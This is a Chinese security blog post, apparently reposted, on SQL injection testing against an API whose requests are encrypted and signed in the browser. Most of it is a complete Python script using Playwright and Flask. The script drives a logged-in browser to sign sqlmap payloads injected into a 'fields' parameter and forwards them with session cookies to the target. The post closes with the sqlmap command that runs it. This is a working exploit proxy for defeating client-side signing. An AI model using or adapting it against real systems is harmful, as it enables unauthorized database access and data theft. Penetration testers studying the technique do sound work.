复杂加密接口的一种SQL注入测试方法

admin 2021年8月27日14:57:17评论106 views字数 3503阅读11分40秒阅读模式

作者:whwlsfb

今天遇到一个存在SQL注入漏洞的系统

复杂加密接口的一种SQL注入测试方法

通过手动修改参数值后确认漏洞确实存在,但是这么明显的注入漏洞,不可能留到现在等我发现啊,但是转头看他的请求包:

复杂加密接口的一种SQL注入测试方法

emmmm……这八成是要写tamper了。


在对整个请求流程一步一步分析后发现,数据包在请求前都会被一个加密/签名函数统一处理,该函数的处理过程如下图所示:

复杂加密接口的一种SQL注入测试方法


实现路径选择

由于加密流程过于复杂,且由于_timestamp参数不允许重放、加密过程中大量调用Cookie等浏览器独占API等原因,遂放弃使用其他语言重写该加密函数,这时摆在面前的只有两条路:


1、写tamper对接浏览器爬虫,加密脚本不负责请求后端,另监听API接口透过driver调用浏览器中的加密函数,并将加密结果返回。

2、编写浏览器爬虫,监听API接口做为透明代理,将SQLMap发来的Payload植入到注入点,透过driver调用浏览器中的加密函数,直接在脚本内发起请求并将请求结果返回至SQLMap。


考虑到第一种方法调试起来较为麻烦,最终采取了第二种方法作为实现路径。

最近刚好在编写一个基于playwright的浏览器爬虫,正好可以将部分代码复用。

脚本编写

由于漏洞接口需要身份认证,需要模拟输入用户信息点击登录按钮

from playwright.sync_api import sync_playwrightpage = Nonecontext = Nonedef initPage():    global page, context    p = sync_playwright().start()    browser = p.chromium.launch(headless=False) #为了实时监测操作状态,关闭了无头模式    context = browser.new_context()    page = browser.new_page()    page.goto(        '<loginPage>')    page.fill("#username", '<username>')    page.fill("#password", '<password>')    page.click('.Btn_Submit')    page.wait_for_load_state()    page.goto('<vul_page>')initPage()

编写加密函数调用与代理接口

@server.route('/', methods=['get', 'post'])def encrypt():    global page, context, cookies    payload = request.values.get('payload')    fullPayload = {        "_method": "component.getListData",         "_param": {            "bizObj": "xx",             "service": "selectMore",            "fields": "DZ,%s" % payload, #注入点1            "filter": "1=1 ",   # 注入点2            "currentPageIndex": 1,             "pageSize": 1,            "orderList": [],            "QueryFormData": ""            }        }    computeResult = page.evaluate(        'signMD5', {'FixJSON': json.dumps(fullPayload, ensure_ascii=False)})    if cookies == '':        allcookies = page.context.cookies()        for i in range(0, len(allcookies) - 1):            cookies += "%s=%s; " % (allcookies[i]['name'], allcookies[i]['value'])    resp = requests.post('<vul_url>', computeResult, headers={        'Cookie': cookies,        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36'})    return resp.content

之所以使用注入点1而不是2的原因是因为注入点2为布尔注入,效率较低,遂使用注入点1中的查询参数注入。


完整脚本如下

#!/usr/bin/env pythonfrom playwright.sync_api import sync_playwrightimport flaskimport jsonfrom flask import requestimport requestspage = Nonecontext = Noneserver = flask.Flask(__name__)cookies = ''@server.route('/', methods=['get', 'post'])def encrypt():    global page, context, cookies    payload = request.values.get('payload')    fullPayload = {        "_method": "component.getListData",         "_param": {            "bizObj": "xx",             "service": "selectMore",            "fields": "DZ,%s" % payload,            "filter": "1=1 ",             "currentPageIndex": 1,             "pageSize": 1,            "orderList": [],            "QueryFormData": ""            }        }    computeResult = page.evaluate(        'signMD5', {'FixJSON': json.dumps(fullPayload, ensure_ascii=False)})    if cookies == '':        allcookies = page.context.cookies()        for i in range(0, len(allcookies) - 1):            cookies += "%s=%s; " % (allcookies[i]['name'], allcookies[i]['value'])    resp = requests.post('<vul_url>', computeResult, headers={        'Cookie': cookies,        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36'})    return resp.contentdef initPage():    global page, context    p = sync_playwright().start()    browser = p.chromium.launch(headless=False) #为了实时监测操作状态,关闭了无头模式    context = browser.new_context()    page = browser.new_page()    page.goto(        '<loginPage>')    page.fill("#username", '<username>')    page.fill("#password", '<password>')    page.click('.Btn_Submit')    page.wait_for_load_state()    page.goto('<vul_page>')if __name__ == '__main__':    initPage()    from gevent import monkey    monkey.patch_all()    server.run(debug=False, port=18888, host='0.0.0.0')


最终实现效果

在浏览器测试可以正常注入后,祭出SQLMap

# sqlmap -u "http://127.0.0.1:18889/?payload=" --level 3

复杂加密接口的一种SQL注入测试方法

原创作者:whwlsfb

原文链接:https://blog.wanghw.cn/


最后

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。


无害实验室sec拥有对此文章的修改和解释权如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的



本文始发于微信公众号(无害实验室sec):复杂加密接口的一种SQL注入测试方法

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年8月27日14:57:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   复杂加密接口的一种SQL注入测试方法https://cn-sec.com/archives/475966.html

发表评论

匿名网友 填写信息